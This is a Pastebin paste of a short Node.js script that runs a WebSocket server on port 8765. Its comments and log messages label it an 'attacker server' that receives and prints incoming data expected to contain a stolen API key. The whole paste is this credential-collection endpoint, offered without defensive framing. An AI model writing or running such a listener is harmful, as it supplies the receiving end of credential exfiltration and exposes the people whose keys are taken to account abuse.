Internal-admin

Websoket Snippit

Sep 22nd, 2026 (edited)
5
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | Cybersecurity | 0 0
  1. import { WebSocketServer } from 'ws';
  2.  
  3. const wss = new WebSocketServer({ port: 8765 });
  4.  
  5. wss.on('connection', (socket) => {
  6. console.log('🚨 A client connected to the attacker server!');
  7.  
  8. socket.on('message', (data) => {
  9. // This is where you will see the API key arrive
  10. console.log('📩 Received data (this may contain the API key):');
  11. console.log(data.toString());
  12. });
  13. });
  14.  
  15. console.log('Attacker WebSocket server listening on ws://localhost:8765');
Advertisement
Add Comment
Please, Sign In to add comment